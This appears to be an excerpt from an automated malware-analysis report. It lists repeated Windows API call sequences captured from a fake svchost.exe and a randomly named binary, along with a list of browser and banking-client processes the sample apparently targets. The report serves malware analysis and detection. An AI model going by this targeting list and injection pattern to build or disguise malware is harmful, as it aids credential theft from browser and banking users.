Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,RtlAllocateHeap,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C86370
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C73510
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C73510
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C73510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_01755890
